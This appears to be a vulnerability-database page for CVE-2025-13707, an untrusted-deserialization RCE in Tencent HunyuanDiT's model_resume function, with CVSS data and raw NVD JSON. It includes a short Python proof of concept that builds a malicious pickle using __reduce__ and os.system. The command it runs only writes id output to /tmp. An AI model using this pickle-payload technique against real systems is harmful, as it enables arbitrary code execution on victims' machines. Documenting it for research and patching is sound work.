Security Vulnerability Report
中文
CVE-2025-13707 CVSS 7.8 HIGH

CVE-2025-13707

Published: 2025-12-23 22:15:45
Last Modified: 2026-04-15 00:35:42

Description

Tencent HunyuanDiT model_resume Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Tencent HunyuanDiT. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the model_resume function. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27183.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Tencent HunyuanDiT < d2cb9cde5c9dc6a6c01735dcb92fe7699ddf6bc5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pickle import base64 import os # Malicious payload for CVE-2025-13707 class RCE: def __reduce__(self): cmd = "id > /tmp/pwned.txt" return (os.system, (cmd,)) # Generate malicious serialized data payload = pickle.dumps(RCE()) malicious_data = base64.b64encode(payload).decode() # PoC for exploiting model_resume deserialization vulnerability print(f"[*] Generated malicious payload: {malicious_data}") print("[*] This payload should be passed to model_resume function") print("[*] When deserialized, it will execute: id > /tmp/pwned.txt") # Example attack scenario: # 1. Attacker crafts malicious serialized data # 2. Entices user to visit malicious page or open malicious file # 3. User's system calls model_resume with attacker-controlled data # 4. Payload gets deserialized and code executes with root privileges

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13707", "sourceIdentifier": "[email protected]", "published": "2025-12-23T22:15:45.320", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tencent HunyuanDiT model_resume Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Tencent HunyuanDiT. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the model_resume function. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27183."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/Tencent-Hunyuan/HunyuanDiT/commit/d2cb9cde5c9dc6a6c01735dcb92fe7699ddf6bc5", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1029/", "source": "[email protected]"}]}}